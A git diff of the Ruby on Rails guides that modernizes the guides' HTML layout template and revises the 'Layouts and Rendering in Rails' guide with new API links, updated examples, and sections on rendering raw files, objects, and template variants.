-        <li class="more-info"><a href="http://guides.rubyonrails.org/">Guides</a></li>
-        <li class="more-info"><a href="http://api.rubyonrails.org/">API</a></li>
-        <li class="more-info"><a href="http://stackoverflow.com/questions/tagged/ruby-on-rails">Ask for help</a></li>
+      </button>
+      <ul id="more-info-links" class="more-info-links hidden">
+        <li class="more-info"><a href="https://rubyonrails.org/blog">Blog</a></li>
+        <li class="more-info"><a href="https://guides.rubyonrails.org/">Guides</a></li>
+        <li class="more-info"><a href="https://api.rubyonrails.org/">API</a></li>
+        <li class="more-info"><a href="https://discuss.rubyonrails.org/">Forum</a></li>
         <li class="more-info"><a href="https://github.com/rails/rails">Contribute on GitHub</a></li>
       </ul>
     </div>
   </div>
-  <div id="header">
+
+  <header id="page-header">
     <div class="wrapper clearfix">
-      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
-      <ul class="nav">
-        <li><a class="nav-item" href="index.html">Home</a></li>
-        <li class="guides-index guides-index-large">
-          <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
-          <div id="guides" class="clearfix" style="display: none;">
-            <hr />
-            <% ['L', 'R'].each do |position| %>
-              <dl class="<%= position %>">
-              <% docs_for_menu(position).each do |section| %>
-                <dt><%= section['name'] %></dt>
-                <% finished_documents(section['documents']).each do |document| %>
-                <dd><a href="<%= document['url'] %>"><%= document['name'] %></a></dd>
-                <% end %>
+      <nav id="feature-nav">
+        <div class="header-logo">
+          <a href="index.html" title="Guides home for <%= @edge.present? ? 'Edge' : @version %> Guides">Guides</a>
+          <span id="version-switcher" class="js-only">
+            <label for="version-switcher-select">Version: <span class="visibly-hidden">pick from the list to go to that Rails version's guides</span></label>
+            <select id="version-switcher-select" class="guides-version">
+              <option value="https://edgeguides.rubyonrails.org/"<%= " selected" if @edge %>>Edge</option>
+              <% %w[8.1 8.0 7.2 7.1 7.0 6.1 6.0 5.2 5.1 5.0 4.2 4.1 4.0 3.2 3.1 3.0 2.3].each do |version| %>
+                <option value="https://guides.rubyonrails.org/v<%= version %>/<%= @path %>"<%= " selected" if @version&.start_with?("v#{version}") %>><%= version %></option>
               <% end %>
-              </dl>
-            <% end %>
-          </div>
-        </li>
-        <li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribute</a></li>
-        <li><a class="nav-item" href="credits.html">Credits</a></li>
-        <li class="guides-index guides-index-small">
-          <select class="guides-index-item nav-item">
-            <option value="index.html">Guides Index</option>
-            <% docs_for_menu.each do |section| %>
-              <optgroup label="<%= section['name'] %>">
-                <% finished_documents(section['documents']).each do |document| %>
-                  <option value="<%= document['url'] %>"><%= document['name'] %></option>
+            </select>
+          </span>
+        </div>
+        <ul class="nav">
+          <li><a class="nav-item" id="home_nav" href="https://rubyonrails.org/">Home</a></li>
+          <li class="guides-index guides-index-large">
+            <a href="index.html" id="guides-menu-button" role="button" aria-controls="guides" aria-expanded="false" class="guides-index-item nav-item">Guides Index</a>
+            <div id="guides" class="clearfix" style="display: none;">
+              <hr />
+              <dl class="guides-section-container">
+                <% documents_by_section.each do |section| %>
+                  <div class="guides-section">
+                    <dt><%= section['name'] %></dt>
+                    <% finished_documents(section['documents']).each do |document| %>
+                    <dd><a href="<%= document['url'] %>"><%= document['name'] %></a></dd>
+                    <% end %>
+                  </div>
                 <% end %>
-              </optgroup>
-            <% end %>
-          </select>
-        </li>
-      </ul>
+              </dl>
+            </div>
+          </li>
+          <li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribute</a></li>
+          <li class="guides-index guides-index-small js-only">
+            <label for="guides-selector">
+              Navigate to a guide:
+            </label>
+            <select id="guides-selector" class="guides-index-item nav-item">
+              <option value="index.html">Guides Index</option>
+              <% docs_for_menu.each do |section| %>
+                <optgroup label="<%= section['name'] %>">
+                  <% finished_documents(section['documents']).each do |document| %>
+                    <option value="<%= document['url'] %>"><%= document['name'] %></option>
+                  <% end %>
+                </optgroup>
+              <% end %>
+            </select>
+          </li>
+        </ul>
+      </nav>
     </div>
-  </div>
+  </header>
+
   <hr class="hide" />
 
-  <div id="feature">
-    <div class="wrapper">
-      <%= yield :header_section %>
+  <main id="main">
+    <article>
+      <header id="feature">
+        <div class="wrapper">
+          <%= yield :header_section %>
 
-      <%= yield :index_section %>
-    </div>
-  </div>
+          <%= yield :index_section %>
+        </div>
+      </header>
 
-  <div id="container">
-    <div class="wrapper">
-      <div id="mainCol">
-        <%= yield %>
-
-        <h3>Feedback</h3>
-        <p>
-          You're encouraged to help improve the quality of this guide.
-        </p>
-        <p>
-          Please contribute if you see any typos or factual errors.
-          To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section.
-        </p>
-        <p>
-          You may also find incomplete content, or stuff that is not up to date.
-          Please do add any missing documentation for master. Make sure to check
-          <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org' %> first to verify
-          if the issues are already fixed or not on the master branch.
-          Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
-          for style and conventions.
-        </p>
-        <p>
-          If for whatever reason you spot something to fix but cannot patch it yourself, please
-          <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
-        </p>
-        <p>And last but not least, any kind of discussion regarding Ruby on Rails
-          documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'https://groups.google.com/forum/#!forum/rubyonrails-docs' %>.
-        </p>
+      <div class="wrapper">
+        <div id="column-main">
+          <section id="article-body">
+            <%= yield %>
+          </section>
+
+          <hr>
+
+          <%# Despite the footer having a label, this element is not detected as
+              a region in all screen readers. Explicitly marking it as one works %>
+          <footer aria-labelledby="heading-feedback" role="region">
+            <h2 id="heading-feedback">Feedback</h2>
+            <p>
+              You're encouraged to help improve the quality of this guide.
+            </p>
+            <p>
+              Please contribute if you see any typos or factual errors.
+              To get started, you can read our <%= link_to 'documentation contributions', 'https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section.
+            </p>
+            <p>
+              You may also find incomplete content or stuff that is not up to date.
+              Please do add any missing documentation for main. Make sure to check
+              <%= link_to 'Edge Guides', 'https://edgeguides.rubyonrails.org' %> first to verify
+              if the issues are already fixed or not on the main branch.
+              Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
+              for style and conventions.
+            </p>
+            <p>
+              If for whatever reason you spot something to fix but cannot patch it yourself, please
+              <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
+            </p>
+            <p>And last but not least, any kind of discussion regarding Ruby on Rails
+              documentation is very welcome on the <%= link_to 'official Ruby on Rails Forum', 'https://discuss.rubyonrails.org/c/rubyonrails-docs' %>.
+            </p>
+          </footer>
+        </div>
       </div>
-    </div>
-  </div>
+    </article>
+  </main>
 
   <hr class="hide" />
-  <div id="footer">
+
+  <footer id="complementary">
     <div class="wrapper">
       <%= render 'license' %>
     </div>
-  </div>
+  </footer>
 
-  <script type="text/javascript" src="javascripts/jquery.min.js"></script>
-  <script type="text/javascript" src="javascripts/responsive-tables.js"></script>
-  <script type="text/javascript" src="javascripts/guides.js"></script>
-  <script type="text/javascript" src="javascripts/syntaxhighlighter.js"></script>
-  <script type="text/javascript">
-    syntaxhighlighterConfig = {
-      autoLinks: false,
-    };
-    $(guidesIndex.bind);
-  </script>
+  <a href="#main-skip-link" class="back-to-top" data-turbo="false"><span class="visibly-hidden">Back to top</span></a>
 </body>
 </html>
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
index 48bb3147f3d2f..9279898a66b7b 100644
--- a/guides/source/layouts_and_rendering.md
+++ b/guides/source/layouts_and_rendering.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Layouts and Rendering in Rails
 ==============================
@@ -26,9 +26,13 @@ Creating Responses
 
 From the controller's point of view, there are three ways to create an HTTP response:
 
-* Call `render` to create a full response to send back to the browser
-* Call `redirect_to` to send an HTTP redirect status code to the browser
-* Call `head` to create a response consisting solely of HTTP headers to send back to the browser
+* Call [`render`][controller.render] to create a full response to send back to the browser
+* Call [`redirect_to`][] to send an HTTP redirect status code to the browser
+* Call [`head`][] to create a response consisting solely of HTTP headers to send back to the browser
+
+[controller.render]: https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render
+[`redirect_to`]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_to
+[`head`]: https://api.rubyonrails.org/classes/ActionController/Head.html#method-i-head
 
 ### Rendering by Default: Convention Over Configuration in Action
 
@@ -53,7 +57,7 @@ And you have a view file `app/views/books/index.html.erb`:
 
 Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen.
 
-However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`:
+However, a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`:
 
 ```ruby
 class BooksController < ApplicationController
@@ -71,23 +75,25 @@ If we want to display the properties of all the books in our view, we can do so
 <h1>Listing Books</h1>
 
 <table>
-  <tr>
-    <th>Title</th>
-    <th>Summary</th>
-    <th></th>
-    <th></th>
-    <th></th>
-  </tr>
-
-<% @books.each do |book| %>
-  <tr>
-    <td><%= book.title %></td>
-    <td><%= book.content %></td>
-    <td><%= link_to "Show", book %></td>
-    <td><%= link_to "Edit", edit_book_path(book) %></td>
-    <td><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
-  </tr>
-<% end %>
+  <thead>
+    <tr>
+      <th>Title</th>
+      <th>Content</th>
+      <th colspan="3"></th>
+    </tr>
+  </thead>
+
+  <tbody>
+    <% @books.each do |book| %>
+      <tr>
+        <td><%= book.title %></td>
+        <td><%= book.content %></td>
+        <td><%= link_to "Show", book %></td>
+        <td><%= link_to "Edit", edit_book_path(book) %></td>
+        <td><%= link_to "Destroy", book, data: { turbo_method: :delete, turbo_confirm: "Are you sure?" } %></td>
+      </tr>
+    <% end %>
+  </tbody>
 </table>
 
 <br>
@@ -95,11 +101,11 @@ If we want to display the properties of all the books in our view, we can do so
 <%= link_to "New book", new_book_path %>
 ```
 
-NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator).
+NOTE: The actual rendering is done by nested classes of the module [`ActionView::Template::Handlers`](https://api.rubyonrails.org/classes/ActionView/Template/Handlers.html). This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler.
 
 ### Using `render`
 
-In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+In most cases, the controller's [`render`][controller.render] method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
 
 TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser.
 
@@ -128,7 +134,7 @@ def update
   if @book.update(book_params)
     redirect_to(@book)
   else
-    render :edit
+    render :edit, status: :unprocessable_entity
   end
 end
 ```
@@ -147,46 +153,19 @@ Rails knows that this view belongs to a different controller because of the embe
 render template: "products/show"
 ```
 
-#### Rendering an Arbitrary File
-
-The `render` method can also use a view that's entirely outside of your application:
-
-```ruby
-render file: "/u/apps/warehouse_app/current/app/views/products/show"
-```
-
-The `:file` option takes an absolute file-system path. Of course, you need to have rights
-to the view that you're using to render the content.
-
-NOTE: Using the `:file` option in combination with users input can lead to security problems
-since an attacker could use this action to access security sensitive files in your file system.
-
-NOTE: By default, the file is rendered using the current layout.
-
-TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to
-render a file, because Windows filenames do not have the same format as Unix filenames.
-
 #### Wrapping it up
 
-The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
+The above two ways of rendering (rendering the template of another action in the same controller, and rendering the template of another action in a different controller) are actually variants of the same operation.
 
-In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:
+In fact, in the `BooksController` class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:
 
 ```ruby
 render :edit
 render action: :edit
 render "edit"
-render "edit.html.erb"
 render action: "edit"
-render action: "edit.html.erb"
 render "books/edit"
-render "books/edit.html.erb"
 render template: "books/edit"
-render template: "books/edit.html.erb"
-render "/path/to/rails/app/views/books/edit"
-render "/path/to/rails/app/views/books/edit.html.erb"
-render file: "/path/to/rails/app/views/books/edit"
-render file: "/path/to/rails/app/views/books/edit.html.erb"
 ```
 
 Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
@@ -221,7 +200,7 @@ service requests that are expecting something other than proper HTML.
 
 NOTE: By default, if you use the `:plain` option, the text is rendered without
 using the current layout. If you want Rails to put the text into the current
-layout, you need to add the `layout: true` option and use the `.txt.erb`
+layout, you need to add the `layout: true` option and use the `.text.erb`
 extension for the layout file.
 
 #### Rendering HTML
@@ -230,14 +209,14 @@ You can send an HTML string back to the browser by using the `:html` option to
 `render`:
 
 ```ruby
-render html: "<strong>Not Found</strong>".html_safe
+render html: helpers.tag.strong("Not Found")
 ```
 
 TIP: This is useful when you're rendering a small snippet of HTML code.
 However, you might want to consider moving it to a template file if the markup
 is complex.
 
-NOTE: When using `html:` option, HTML entities will be escaped if the string is not marked as HTML safe by using `html_safe` method.
+NOTE: When using `html:` option, HTML entities will be escaped if the string is not composed with `html_safe`-aware APIs.
 
 #### Rendering JSON
 
@@ -269,7 +248,7 @@ render js: "alert('Hello Rails');"
 
 This will send the supplied string to the browser with a MIME type of `text/javascript`.
 
-#### Rendering raw body
+#### Rendering Raw Body
 
 You can send a raw content back to the browser, without setting any content
 type, by using the `:body` option to `render`:
@@ -283,24 +262,68 @@ the response. Using `:plain` or `:html` might be more appropriate most of the
 time.
 
 NOTE: Unless overridden, your response returned from this render option will be
-`text/html`, as that is the default content type of Action Dispatch response.
+`text/plain`, as that is the default content type of Action Dispatch response.
+
+#### Rendering Raw File
+
+Rails can render a raw file from an absolute path. This is useful for
+conditionally rendering static files like error pages.
+
+```ruby
+render file: "#{Rails.root}/public/404.html", layout: false
+```
+
+This renders the raw file (it doesn't support ERB or other handlers). By
+default it is rendered within the current layout.
+
+WARNING: Using the `:file` option in combination with users input can lead to security problems
+since an attacker could use this action to access security sensitive files in your file system.
+
+TIP: `send_file` is often a faster and better option if a layout isn't required.
+
+#### Rendering Objects
+
+Rails can render objects responding to `#render_in`. The format can be controlled by defining `#format` on the object.
+
+```ruby
+class Greeting
+  def render_in(view_context)
+    view_context.render html: "Hello, World"
+  end
+
+  def format
+    :html
+  end
+end
+
+render Greeting.new
+# => "Hello World"
+```
+
+This calls `render_in` on the provided object with the current view context. You can also provide the object by using the `:renderable` option to `render`:
+
+```ruby
+render renderable: Greeting.new
+# => "Hello World"
+```
 
 #### Options for `render`
 
-Calls to the `render` method generally accept five options:
+Calls to the [`render`][controller.render] method generally accept six options:
 
 * `:content_type`
 * `:layout`
 * `:location`
 * `:status`
 * `:formats`
+* `:variants`
 
 ##### The `:content_type` Option
 
 By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option:
 
 ```ruby
-render file: filename, content_type: "application/rss"
+render template: "feed", content_type: "application/rss"
 ```
 
 ##### The `:layout` Option
@@ -379,6 +402,7 @@ Rails understands both numeric status codes and the corresponding symbols shown
 |                     | 415              | :unsupported_media_type          |
 |                     | 416              | :range_not_satisfiable           |
 |                     | 417              | :expectation_failed              |
+|                     | 421              | :misdirected_request             |
 |                     | 422              | :unprocessable_entity            |
 |                     | 423              | :locked                          |
 |                     | 424              | :failed_dependency               |
@@ -386,6 +410,7 @@ Rails understands both numeric status codes and the corresponding symbols shown
 |                     | 428              | :precondition_required           |
 |                     | 429              | :too_many_requests               |
 |                     | 431              | :request_header_fields_too_large |
+|                     | 451              | :unavailable_for_legal_reasons   |
 | **Server Error**    | 500              | :internal_server_error           |
 |                     | 501              | :not_implemented                 |
 |                     | 502              | :bad_gateway                     |
@@ -399,7 +424,7 @@ Rails understands both numeric status codes and the corresponding symbols shown
 |                     | 511              | :network_authentication_required |
 
 NOTE:  If you try to render content along with a non-content status code
-(100-199, 204, 205 or 304), it will be dropped from the response.
+(100-199, 204, 205, or 304), it will be dropped from the response.
 
 ##### The `:formats` Option
 
@@ -413,13 +438,56 @@ render formats: [:json, :xml]
 
 If a template with the specified format does not exist an `ActionView::MissingTemplate` error is raised.
 
+##### The `:variants` Option
+
+This tells Rails to look for template variations of the same format.
+You can specify a list of variants by passing the `:variants` option with a symbol or an array.
+
+An example of use would be this.
+
+```ruby
+# called in HomeController#index
+render variants: [:mobile, :desktop]
+```
+
+With this set of variants Rails will look for the following set of templates and use the first that exists.
+
+- `app/views/home/index.html+mobile.erb`
+- `app/views/home/index.html+desktop.erb`
+- `app/views/home/index.html.erb`
+
+If a template with the specified format does not exist an `ActionView::MissingTemplate` error is raised.
+
+Instead of setting the variant on the render call you may also set
+[`request.variant`](https://api.rubyonrails.org/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D)
+in your controller action. Learn more about variants in the [Action Controller
+Overview](./action_controller_overview.html#request-variant) guides.
+
+```ruby
+def index
+  request.variant = determine_variant
+end
+
+private
+  def determine_variant
+    variant = nil
+    # some code to determine the variant(s) to use
+    variant = :mobile if session[:use_mobile]
+
+    variant
+  end
+```
+
+NOTE: Adding many new variant templates with similarities to existing template
+files can make maintaining your view code more difficult.
+
 #### Finding Layouts
 
 To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
 
 ##### Specifying Layouts for Controllers
 
-You can override the default layout conventions in your controllers by using the `layout` declaration. For example:
+You can override the default layout conventions in your controllers by using the [`layout`][] declaration. For example:
 
 ```ruby
 class ProductsController < ApplicationController
@@ -441,6 +509,8 @@ end
 
 With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout.
 
+[`layout`]: https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout
+
 ##### Choosing Layouts at Runtime
 
 You can use a symbol to defer the choice of layout until a request is processed:
@@ -457,7 +527,6 @@ class ProductsController < ApplicationController
     def products_layout
       @current_user.special? ? "special" : "products"
     end
-
 end
 ```
 
@@ -541,15 +610,19 @@ In this application:
 Similar to the Layout Inheritance logic, if a template or partial is not found in the conventional path, the controller will look for a template or partial to render in its inheritance chain. For example:
 
 ```ruby
-# in app/controllers/application_controller
+# app/controllers/application_controller.rb
 class ApplicationController < ActionController::Base
 end
+```
 
-# in app/controllers/admin_controller
+```ruby
+# app/controllers/admin_controller.rb
 class AdminController < ApplicationController
 end
+```
 
-# in app/controllers/admin/products_controller
+```ruby
+# app/controllers/admin/products_controller.rb
 class Admin::ProductsController < AdminController
   def index
   end
@@ -588,20 +661,19 @@ def show
 end
 ```
 
-If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's a patched version of the method:
+If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `return`. Here's a patched version of the method:
 
 ```ruby
 def show
   @book = Book.find(params[:id])
   if @book.special?
-    render action: "special_show" and return
+    render action: "special_show"
+    return
   end
   render action: "regular_show"
 end
 ```
 
-Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language.
-
 Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors:
 
 ```ruby
@@ -617,13 +689,13 @@ This will render a book with `special?` set with the `special_show` template, wh
 
 ### Using `redirect_to`
 
-Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+Another way to handle returning responses to an HTTP request is with [`redirect_to`][]. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
 
 ```ruby
 redirect_to photos_url
 ```
 
-You can use `redirect_back` to return the user to the page they just came from.
+You can use [`redirect_back`][] to return the user to the page they just came from.
 This location is pulled from the `HTTP_REFERER` header which is not guaranteed
 to be set by the browser, so you must provide the `fallback_location`
 to use in this case.
@@ -634,6 +706,8 @@ redirect_back(fallback_location: root_path)
 
 NOTE: `redirect_to` and `redirect_back` do not halt and return immediately from method execution, but simply set HTTP responses. Statements occurring after them in a method will be executed. You can halt by an explicit `return` or some other halting mechanism, if needed.
 
+[`redirect_back`]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_back
+
 #### Getting a Different Redirect Status Code
 
 Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option:
@@ -646,7 +720,14 @@ Just like the `:status` option for `render`, `:status` for `redirect_to` accepts
 
 #### The Difference Between `render` and `redirect_to`
 
-Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
+Sometimes inexperienced developers think of `redirect_to` as a sort of `goto`
+command, moving execution from one place to another in your Rails code. This is
+_not_ correct.
+
+The current action will complete, returning a response to the browser. After
+this your code stops running and waits for a new request, it just happens that
+you've told the browser what request it should make next by sending back an
+HTTP 302 status code.
 
 Consider these actions to see the difference:
 
@@ -701,9 +782,9 @@ end
 
 This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened.
 
-### Using `head` To Build Header-Only Responses
+### Using `head` to Build Header-Only Responses
 
-The `head` method can be used to send responses with only headers to the browser. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing an HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header:
+The [`head`][] method can be used to send responses with only headers to the browser. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing an HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header:
 
 ```ruby
 head :bad_request
@@ -711,7 +792,7 @@ head :bad_request
 
 This would produce the following header:
 
-```
+```http
 HTTP/1.1 400 Bad Request
 Connection: close
 Date: Sun, 24 Jan 2010 12:15:53 GMT
@@ -730,7 +811,7 @@ head :created, location: photo_path(@photo)
 
 Which would produce:
 
-```
+```http
 HTTP/1.1 201 Created
 Connection: close
 Date: Sun, 24 Jan 2010 12:16:44 GMT
@@ -748,27 +829,36 @@ Structuring Layouts
 When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
 
 * Asset tags
-* `yield` and `content_for`
+* `yield` and [`content_for`][]
 * Partials
 
+[`content_for`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for
+
 ### Asset Tag Helpers
 
 Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos, and audios. There are six asset tag helpers available in Rails:
 
-* `auto_discovery_link_tag`
-* `javascript_include_tag`
-* `stylesheet_link_tag`
-* `image_tag`
-* `video_tag`
-* `audio_tag`
+* [`auto_discovery_link_tag`][]
+* [`javascript_include_tag`][]
+* [`stylesheet_link_tag`][]
+* [`image_tag`][]
+* [`video_tag`][]
+* [`audio_tag`][]
 
 You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.
 
 WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
 
+[`auto_discovery_link_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag
+[`javascript_include_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag
+[`stylesheet_link_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag
+[`image_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag
+[`video_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag
+[`audio_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag
+
 #### Linking to Feeds with the `auto_discovery_link_tag`
 
-The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The [`auto_discovery_link_tag`][] helper builds HTML that most browsers and feed readers can use to detect the presence of RSS, Atom, or JSON feeds. It takes the type of the link (`:rss`, `:atom`, or `:json`), a hash of options that are passed through to url_for, and a hash of options for the tag:
 
 ```erb
 <%= auto_discovery_link_tag(:rss, {action: "feed"},
@@ -783,13 +873,13 @@ There are three tag options available for the `auto_discovery_link_tag`:
 
 #### Linking to JavaScript Files with the `javascript_include_tag`
 
-The `javascript_include_tag` helper returns an HTML `script` tag for each source provided.
+The [`javascript_include_tag`][] helper returns an HTML `script` tag for each source provided.
 
 If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the asset pipeline.
 
 A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization).
 
-You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file `main.js` that is inside one of `app/assets/javascripts`, `lib/assets/javascripts` or `vendor/assets/javascripts`, you would do this:
 
 ```erb
 <%= javascript_include_tag "main" %>
@@ -823,11 +913,11 @@ To include `http://example.com/main.js`:
 
 #### Linking to CSS Files with the `stylesheet_link_tag`
 
-The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.
+The [`stylesheet_link_tag`][] helper returns an HTML `<link>` tag for each source provided.
 
-If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
+If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets`, or `vendor/assets`.
 
-You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets`, or `vendor/assets`, you would do this:
 
 ```erb
 <%= stylesheet_link_tag "main" %>
@@ -851,7 +941,7 @@ To include `http://example.com/main.css`:
 <%= stylesheet_link_tag "http://example.com/main.css" %>
 ```
 
-By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`):
+By default, the `stylesheet_link_tag` creates links with `rel="stylesheet"`. You can override this default by specifying an appropriate option (`:rel`):
 
 ```erb
 <%= stylesheet_link_tag "main_print", media: "print" %>
@@ -859,7 +949,7 @@ By default, the `stylesheet_link_tag` creates links with `media="screen" rel="st
 
 #### Linking to Images with the `image_tag`
 
-The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
+The [`image_tag`][] helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
 
 WARNING: Note that you must specify the extension of the image.
 
